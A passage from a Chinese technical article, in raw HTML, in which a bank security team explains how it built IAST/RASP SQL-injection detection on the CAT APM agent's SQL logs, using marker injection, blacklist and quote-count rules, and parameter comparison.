14px;">虽然在c0debreak大佬团队的努力下，rasp agent对服务器的性能影响已可控制到3%左右。但在银行交易系统中，我们也不敢轻易“玩火”，只能将目标锁定在后管类系统上。</span></section></blockquote><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">好吧，觉得以上难搞也许是我的缺点。</span></section><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">除此之外，我行自动发版工具会将tomcat容器整包替换，导致之前部署的raspAgent丢失。虽然这个问题很好解决，但是提议的两个方案，都以不符合管理规范而惨遭否决。</span></section><h2 style="box-sizing: border-box;font-weight: bold;line-height: 1.1;color: rgb(55, 56, 56);margin-top: 30px;margin-bottom: 15px;font-size: 18px;font-family: Optima-Regular, PingFangTC-light;"><span style="box-sizing: border-box;font-size: 15px;">0×02 一个不成熟的想法</span></h2><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">如果不用从0推广Agent、不用适配测试、不用运维就能实现IAST/RASP能力的落地，那就好了～</span></section><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">理想一定要有，万一实现了呢。</span></section><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">然后，就有了以下这个思路：</span></section><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">实现也很简单，一些APM应用监控平台（如CAT、WiseAPM、Dapper等，我行使用的是CAT，本文以CAT为例）的客户端同IAST/RASP agent实现原理一致，用的是java字节码技术，通过插桩记录程序运用时的堆栈数据，来分析应用健康度。而它所监控的数据就有安全所感兴趣的，比如说原生sqllog、关联的接口信息、服务器信息等等。一般此类APM都是由架构运维部门负责，且基本能够覆盖绝大数业务系统，已完成从0到1的大面积推广及运维保障。如果安全赋（寄）能（生）在它们的agent上，就能解决我们的问题。</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5801980198019802" data-s="300,640" style="text-align: center;white-space: normal;" data-type="png" data-w="1010" src="https://wechat2rss.xlab.app/img-proxy/?k=08b85f5d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5w3KO7Dzicu7Bl8CjoN3MlvjB9TAibpqeFdzJxicPIK6a7FqqGbOp854kn44mcIn9dHxYbMIWOib6mPA%2F640%3Fwx_fmt%3Dpng"/></section><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;text-align: center;font-family: Optima-Regular, PingFangTC-light;"><em><span style="font-size: 12px;">CAT架构</span></em></section><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">要基于CAT的Agent实现IAST/RASP的漏洞检测能力，规则放在客户端运行，CAT那边肯定是不会同意的，且可能对应用影响较大，不建议介入太深。只能看看安全关心的应用数据，然后再进行离线分析就可以了。当然具体能检测哪些问题，还是要看CAT做了哪些函数的插桩埋点，这里就不再赘述。下面以SQL注入为例，介绍下我们的实践过程。</span></section><h2 style="box-sizing: border-box;font-weight: bold;line-height: 1.1;color: rgb(55, 56, 56);margin-top: 30px;margin-bottom: 15px;font-size: 18px;font-family: Optima-Regular, PingFangTC-light;"><span style="box-sizing: border-box;font-size: 15px;">0×03 技术实现</span></h2><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="box-sizing: border-box;font-weight: 700;overflow-wrap: break-word;word-break: break-word;line-height: 24px;font-size: 14px;">为什么要从SQL注入入手。原因有两点：</span></section><blockquote style="box-sizing: border-box;padding: 10px 20px;margin-top: 0px;margin-bottom: 20px;font-size: 14px;border-left-width: 5px;border-left-color: rgb(238, 238, 238);background-color: rgb(247, 247, 247);"><section style="box-sizing: border-box;margin-bottom: 10px;font-size: 15px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">1.此类APM平台，基本上都有SQL性能分析，所以基本上都可以提供原生SQL数据，这是现成的。而其他漏洞可能还需要增加埋点。</span></section><section style="box-sizing: border-box;font-size: 15px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">2.去年我们团队搞了大半年的被动扫描器，由于SQL注入黑盒测试造成大量脏数据，以及准确率等问题，一直比较头疼。正好借此机会来优化一下。</span></section></blockquote><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">首先需要CAT对原生sql进行一定的处理，补充记录所属应用、服务器IP、sql关联的接口等信息，最终形成sqllog。输出如下格式：</span></section><pre style="box-sizing: border-box;overflow: auto;font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;font-size: 13px;padding: 9.5px;margin-bottom: 15px;line-height: 1.42857;color: rgb(51, 51, 51);word-break: break-all;overflow-wrap: break-word;background-color: rgb(243, 243, 243);border-width: 1px;border-style: solid;border-color: rgb(228, 228, 228);border-radius: 4px;"><section style="box-sizing: border-box;font-size: inherit;padding: 0.5em;color: rgb(68, 68, 68);border-radius: 0px;white-space: pre-wrap;display: block;overflow-x: auto;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;"><span style="font-size: 12px;box-sizing: border-box;font-weight: 700;">{</span>&#34;<span style="font-size: 12px;box-sizing: border-box;">appid</span>&#34;<span style="font-size: 12px;box-sizing: border-box;font-weight: 700;">:</span><span style="font-size: 12px;box-sizing: border-box;color: rgb(136, 0, 0);">&#34;xxxx&#34;</span><span style="font-size: 12px;box-sizing: border-box;font-weight: 700;">,</span>&#34;<span style="font-size: 12px;box-sizing: border-box;">ip</span>&#34;<span style="font-size: 12px;box-sizing: border-box;font-weight: 700;">:</span><span style="font-size: 12px;box-sizing: border-box;color: rgb(136, 0, 0);">&#34;192.168.1.100&#34;</span><span style="font-size: 12px;box-sizing: border-box;font-weight: 700;">,</span>&#34;<span style="font-size: 12px;box-sizing: border-box;">source</span>&#34;<span style="font-size: 12px;box-sizing: border-box;font-weight: 700;">:</span><span style="font-size: 12px;box-sizing: border-box;color: rgb(136, 0, 0);">&#34;URL:/xxx/abc/custInfo.do&#34;</span><span style="font-size: 12px;box-sizing: border-box;font-weight: 700;">,</span>&#34;<span style="font-size: 12px;box-sizing: border-box;">sql</span>&#34;<span style="font-size: 12px;box-sizing: border-box;font-weight: 700;">:</span><span style="font-size: 12px;box-sizing: border-box;color: rgb(136, 0, 0);">&#34;select * from t_user where username = ?&#34;</span><span style="font-size: 12px;box-sizing: border-box;font-weight: 700;">}</span></span></section></pre><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">剩下就是将全行集成CAT的应用记录的所有sqllog收集下来，集中推送到安全的kafka中，再设计检测程序逐条消费。架构如下：</span></section><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><br/></section><section style="font-family: Optima-Regular, PingFangTC-light;"><img class="rich_pages js_insertlocalimg" data-ratio="0.4113785557986871" data-s="300,640" style="text-align: center;white-space: normal;" data-type="png" data-w="914" src="https://wechat2rss.xlab.app/img-proxy/?k=f8e58d51&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5w3KO7Dzicu7Bl8CjoN3MlvoRPxtFiaGV3icj5HJhJJIKibjOu2URWdvKibw1hAcfQoSWAicHd1No8IEhw%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Optima-Regular, PingFangTC-light;"><br/></section><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">由于依赖于CAT，我们的项目代号为BlackCAT（黑猫警长</span><img class="rich_pages" data-ratio="0.8734177215189873" data-s="300,640" style="text-align: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;width: 22px;height: 20px;" data-type="png" data-w="158" src="https://wechat2rss.xlab.app/img-proxy/?k=15b509ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5I1KbiaibduLCu7JwfMAf2C9PCKqSfx98Ez4qaLmMVTNw8IwJW5icqzXFeoju5ccUxVzXibm8vYwO10A%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 14px;">）。</span><span style="font-size: 14px;">上图中，被动扫描器只在主动式IAST场景下的充当无脑发包器，对抓的所有流量进行全量标记盲打，与BlackCAT分析引擎无需联动。</span><span style="font-size: 14px;">有溯源必要时，可在request中加一些特征标识，如在url后或header中追加BlackCAT参数，通过catlog同步通知BlackCAT即可。</span></section><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">以mybatis项目监测情况为例，#{param}和${param}插桩JDBC记录到的sql是不一样的。预编译的sql的入参是占位符“？”，而使用拼接的sql可以看到入参内容。</span></section><blockquote style="box-sizing: border-box;padding: 10px 20px;margin-top: 0px;margin-bottom: 20px;font-size: 14px;border-left-width: 5px;border-left-color: rgb(238, 238, 238);background-color: rgb(247, 247, 247);"><section style="box-sizing: border-box;margin-bottom: 10px;font-size: 15px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">预编译：</span></section><section style="box-sizing: border-box;margin-bottom: 10px;font-size: 15px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"><span style="box-sizing: border-box;font-weight: 700;overflow-wrap: break-word;word-break: break-word;line-height: 24px;">select</span> <span style="box-sizing: border-box;font-weight: 700;overflow-wrap: break-word;word-break: break-word;line-height: 24px;">*</span> <span style="box-sizing: border-box;font-weight: 700;overflow-wrap: break-word;word-break: break-word;line-height: 24px;">from</span> t_user <span style="box-sizing: border-box;font-weight: 700;overflow-wrap: break-word;word-break: break-word;line-height: 24px;">where</span> username <span style="box-sizing: border-box;font-weight: 700;overflow-wrap: break-word;word-break: break-word;line-height: 24px;">=</span> ？</span></section><section style="box-sizing: border-box;margin-bottom: 10px;font-size: 15px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">拼接：</span></section><section style="box-sizing: border-box;font-size: 15px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"><span style="box-sizing: border-box;font-weight: 700;overflow-wrap: break-word;word-break: break-word;line-height: 24px;">select</span> <span style="box-sizing: border-box;font-weight: 700;overflow-wrap: break-word;word-break: break-word;line-height: 24px;">*</span> <span style="box-sizing: border-box;font-weight: 700;overflow-wrap: break-word;word-break: break-word;line-height: 24px;">from</span> t_user <span style="box-sizing: border-box;font-weight: 700;overflow-wrap: break-word;word-break: break-word;line-height: 24px;">where</span> username <span style="box-sizing: border-box;font-weight: 700;overflow-wrap: break-word;word-break: break-word;line-height: 24px;">=</span> “helen”</span></section></blockquote><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">但在真实复杂的应用场景中，还无法仅凭是否有占位符来判断是否存在sql注入，很多情况下，应用内部的sql也有很多，所有要确认是存在漏洞，还需要找到用户入口。</span></section><h2 style="box-sizing: border-box;font-weight: bold;line-height: 1.1;color: rgb(55, 56, 56);margin-top: 30px;margin-bottom: 15px;font-size: 18px;font-family: Optima-Regular, PingFangTC-light;"><span style="box-sizing: border-box;font-size: 15px;">0×04 检测逻辑</span></h2><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">理清了数据以及确定目标，就可以去设计离线检测策略了。目前我们共实现三种检测逻辑：mark标识位、黑名单检测、入参比对，分别对应测试环境中IAST漏洞扫描以及生产环境中RASP攻击监测（RASP暂时只实现告警）。</span></section><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"><span style="box-sizing: border-box;font-weight: 700;overflow-wrap: break-word;word-break: break-word;line-height: 24px;">mark标识位</span>（主动式 IAST）：</span></section><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">在被动扫描器上新增一个iast插件，对测试区全部流量进行参数注入，在value后拼接上一个标记字符串。</span></section><pre style="box-sizing: border-box;overflow: auto;font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;font-size: 13px;padding: 9.5px;margin-bottom: 15px;line-height: 1.42857;color: rgb(51, 51, 51);word-break: break-all;overflow-wrap: break-word;background-color: rgb(243, 243, 243);border-width: 1px;border-style: solid;border-color: rgb(228, 228, 228);border-radius: 4px;"><code style="box-sizing: border-box;font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;font-size: inherit;padding: 0.5em;color: rgb(68, 68, 68);border-radius: 0px;white-space: pre-wrap;display: block;overflow-x: auto;"><section style="box-sizing: border-box;margin-bottom: 10px;font-size: 15px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;">POST /xxx/abc/custInfo.<span style="box-sizing: border-box;font-weight: bold;overflow-wrap: break-word;word-break: break-word;">do</span> HTTP/<span style="box-sizing: border-box;color: rgb(136, 0, 0);overflow-wrap: break-word;word-break: break-word;">1.1</span></span></section><section style="box-sizing: border-box;margin-bottom: 10px;font-size: 15px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;"><span style="box-sizing: border-box;color: rgb(188, 96, 96);overflow-wrap: break-word;word-break: break-word;">Host:</span> <span style="box-sizing: border-box;color: rgb(136, 0, 0);overflow-wrap: break-word;word-break: break-word;">192.168</span>.<span style="box-sizing: border-box;color: rgb(136, 0, 0);overflow-wrap: break-word;word-break: break-word;">1.100</span><span style="box-sizing: border-box;color: rgb(188, 96, 96);overflow-wrap: break-word;word-break: break-word;">:</span><span style="box-sizing: border-box;color: rgb(136, 0, 0);overflow-wrap: break-word;word-break: break-word;">80</span></span></section><section style="box-sizing: border-box;margin-bottom: 10px;font-size: 15px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;">User-<span style="box-sizing: border-box;color: rgb(188, 96, 96);overflow-wrap: break-word;word-break: break-word;">Agent:</span> Mozilla/<span style="box-sizing: border-box;color: rgb(136, 0, 0);overflow-wrap: break-word;word-break: break-word;">5.0</span> (Macintosh; Intel Mac OS X <span style="box-sizing: border-box;color: rgb(136, 0, 0);overflow-wrap: break-word;word-break: break-word;">10_15_4</span>) AppleWebKit/<span style="box-sizing: border-box;color: rgb(136, 0, 0);overflow-wrap: break-word;word-break: break-word;">537.36</span> (KHTML, like Gecko) Chrome/<span style="box-sizing: border-box;color: rgb(136, 0, 0);overflow-wrap: break-word;word-break: break-word;">81.0</span>.<span style="box-sizing: border-box;color: rgb(136, 0, 0);overflow-wrap: break-word;word-break: break-word;">4044.122</span> Safari/<span style="box-sizing: border-box;color: rgb(136, 0, 0);overflow-wrap: break-word;word-break: break-word;">537.36</span></span></section><section style="box-sizing: border-box;margin-bottom: 10px;font-size: 15px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;"><span style="box-sizing: border-box;color: rgb(188, 96, 96);overflow-wrap: break-word;word-break: break-word;">Accept:</span> *<span style="box-sizing: border-box;color: rgb(188, 96, 96);overflow-wrap: break-word;word-break: break-word;">/*</span></span></section><section style="box-sizing: border-box;margin-bottom: 10px;font-size: 15px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="color: rgb(188, 96, 96);font-size: 12px;">R</span><span style="color: rgb(188, 96, 96);font-size: 12px;">eferer: <a href="http://192.168.1.100/admin" target="_blank">http://192.168.1.100/admin</a></span></section><section style="box-sizing: border-box;margin-bottom: 10px;font-size: 15px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;">Accept-<span style="box-sizing: border-box;color: rgb(188, 96, 96);overflow-wrap: break-word;word-break: break-word;">Language:</span> zh-CN,zh;q=<span style="box-sizing: border-box;color: rgb(136, 0, 0);overflow-wrap: break-word;word-break: break-word;">0</span>.<span style="box-sizing: border-box;color: rgb(136, 0, 0);overflow-wrap: break-word;word-break: break-word;">9</span></span></section><section style="box-sizing: border-box;margin-bottom: 10px;font-size: 15px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;"><span style="box-sizing: border-box;color: rgb(188, 96, 96);overflow-wrap: break-word;word-break: break-word;">Cookie:</span> token=<span style="box-sizing: border-box;color: rgb(136, 0, 0);overflow-wrap: break-word;word-break: break-word;">123456789</span></span></section><section style="box-sizing: border-box;margin-bottom: 10px;font-size: 15px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;">username=helenMarkedbyscanner</span></section></code></pre><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">BlackCAT异步监控分析全行应用的执行SQL。</span><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">如在发现某些SQL中有标识位进入，则可判断该属主应用使用了拼接SQL且存在用户入口，存在安全漏洞。</span></section><pre style="box-sizing: border-box;overflow: auto;font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;font-size: 13px;padding: 9.5px;margin-bottom: 15px;line-height: 1.42857;color: rgb(51, 51, 51);word-break: break-all;overflow-wrap: break-word;background-color: rgb(243, 243, 243);border-width: 1px;border-style: solid;border-color: rgb(228, 228, 228);border-radius: 4px;"><section style="box-sizing: border-box;font-size: inherit;padding: 0.5em;color: rgb(68, 68, 68);border-radius: 0px;white-space: pre-wrap;display: block;overflow-x: auto;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 12px;"><span style="font-size: 12px;box-sizing: border-box;font-weight: 700;">select</span> <span style="font-size: 12px;box-sizing: border-box;font-weight: 700;">*</span> <span style="font-size: 12px;box-sizing: border-box;font-weight: 700;">from</span> t_user <span style="font-size: 12px;box-sizing: border-box;font-weight: 700;">where</span> username <span style="font-size: 12px;box-sizing: border-box;font-weight: 700;">=</span> <span style="font-size: 12px;box-sizing: border-box;color: rgb(136, 0, 0);">&#34;helenMarkedbyscanner&#34;</span></span></section></pre><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="top: auto;left: auto;margin: 15px 1px;right: auto;bottom: auto;font-size: 14px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.159375" data-s="300,640" style="text-align: center;white-space: normal;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=c240cba7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5w3KO7Dzicu7Bl8CjoN3Mlviasc081PKI2sbEruSPXtzDpdaVlJyBiblp5rmQM1GBP0vCIISTtr9efQ%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;text-align: center;font-family: Optima-Regular, PingFangTC-light;"><em><span style="font-size: 12px;">标识位检测日志</span></em></section><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"><span style="font-size: 14px;box-sizing: border-box;font-weight: 700;overflow-wrap: break-word;word-break: break-word;line-height: 24px;">黑名单检测</span>（RASP攻击告警）</span></section><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">这里目前实施了两种方式：</span></section><blockquote style="box-sizing: border-box;padding: 10px 20px;margin-top: 0px;margin-bottom: 20px;font-size: 14px;border-left-width: 5px;border-left-color: rgb(238, 238, 238);background-color: rgb(247, 247, 247);"><section style="box-sizing: border-box;margin-bottom: 10px;font-size: 15px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">1.通过黑名单规则检索sql中的可疑的payload，这点参考WAF策略。相较于WAF，好在如果发现有payload进入sql，那就存在漏洞且攻击成功。但由于都是维护黑名单规则，即可能存在误报漏报。</span></section><section style="box-sizing: border-box;font-size: 15px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">2.统计在sql中检索单引号数量，判断总数是否为奇数引号。一般如出现奇数引号，可能为人为注入测试，可判断有潜在攻击者，且已发现漏洞。</span></section></blockquote><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"><span style="box-sizing: border-box;font-weight: 700;overflow-wrap: break-word;word-break: break-word;line-height: 24px;">入参比对</span>（被动式IAST及RASP攻击告警）</span></section><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">入参比对是将request中的入参值与关联的sql的入参进行比对。</span></section><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;text-align: left;font-family: Optima-Regular, PingFangTC-light;"><img class="rich_pages js_insertlocalimg" data-ratio="1.2286212914485166" data-s="300,640" style="text-align: center;white-space: normal;width: 336px;height: 413px;" data-type="png" data-w="573" src="https://wechat2rss.xlab.app/img-proxy/?k=18515496&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5w3KO7Dzicu7Bl8CjoN3MlvowDnyQsPdibpibvgvsSr3ygJDbv2iclmiawehbycpBiaJH9Y7AbMjBfEgMQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">如发现二者入参数存在一致的value，则可确认存在漏洞，因为用户输入参数被拼接带入了sql中去。</span></section><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">在此基础上，再判断是否为攻击，可通过value是否被带入未转义的特殊字符（如空格，引号，斜杠等等），value是否包含除字符串以外的其他元素。如为真，存在攻击；也可以直接提取原生sql的查询条件value，分析对比请求入参是否能在提取的value中找到。如为假，则存在攻击。</span></section><h2 style="box-sizing: border-box;font-weight: bold;line-height: 1.1;color: rgb(55, 56, 56);margin-top: 30px;margin-bottom: 15px;font-size: 18px;font-family: Optima-Regular, PingFangTC-light;"><span style="box-sizing: border-box;font-size: 15px;">0×05 效果</span></h2><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">到此为止，我们就基于CAT初步实现了IAST/RASP能力了，虽然初期检测逻辑还略显粗糙，但在实际应用中，还是取得了不错的效果。测试区上线短短1周内，自动发现SQL注入30多例，内部安全同事的sql注入测试百余起。后期就是继续增加埋点和优化策略，来增加检测的漏洞类型。</span></section><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="top: auto;left: auto;margin: 15px 0px;right: auto;bottom: auto;font-size: 14px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.55390625" data-s="300,640" style="text-align: center;white-space: normal;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=c52955ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5w3KO7Dzicu7Bl8CjoN3MlvcRImGcFRbvcUo4Y0iacTOjlaXRNbRGiaO4yClPiaTD4PLyeRcNy7KHqMQ%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;text-align: center;font-family: Optima-Regular, PingFangTC-light;"><em><span style="font-size: 12px;">测试区IAST漏洞扫描</span></em></section><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="top: auto;left: auto;margin: 15px 0px;right: auto;bottom: auto;font-size: 14px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5484375" data-s="300,640" style="text-align: center;white-space: normal;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a11ff84d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5w3KO7Dzicu7Bl8CjoN3Mlv7TB2D9HWMFIVVuO3BngibogLdLImEEwAVEeBPyHcQInSvIPnnzozb5w%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;text-align: center;font-family: Optima-Regular, PingFangTC-light;"><em><span style="font-size: 12px;">生产区RASP攻击检测告警</span></em></section><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;">这种美其名曰安全赋能，实则抱大腿的合作模式，其好处就在于可以快速、无感地推动IAST/RASP能力的大规模覆盖，且无需担心对应用有任何影响。当然，这样的IAST/RASP能力覆盖面取决于应用监控CAT的推广程度。在我行，全行绝大数应用都已集成CAT，其中包括各类重要核心应用。现在无论是生产还是测试，都不用考虑那些头疼的推广适配、部署运维，只要牢牢的抱住大腿…</span></section><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="box-sizing: border-box;font-weight: 700;font-size: 14px;">参考：</span></section><blockquote style="box-sizing: border-box;padding: 10px 20px;margin-top: 0px;margin-bottom: 20px;font-size: 14px;border-left-width: 5px;border-left-color: rgb(238, 238, 238);background-color: rgb(247, 247, 247);"><section style="box-sizing: border-box;font-size: 15px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;"><a href="https://github.com/baidu/openrasp" target="_blank">https://github.com/baidu/openrasp</a></span></section></blockquote><section style="box-sizing: border-box;margin-bottom: 10px;line-height: 26px;overflow-wrap: break-word;word-break: break-word;font-family: Optima-Regular, PingFangTC-light;"><span style="box-sizing: border-box;font-weight: 700;color: rgb(159, 163, 168);font-size: 14px;"><br/></span></section><section style="text-align: center;font-family: Optima-Regular, PingFangTC-light;"><img class="rich_pages" data-ratio="1" data-s="300,640" style="height: 184px;text-align: center;white-space: normal;width: 184px;" data-type="png" data-w="600" 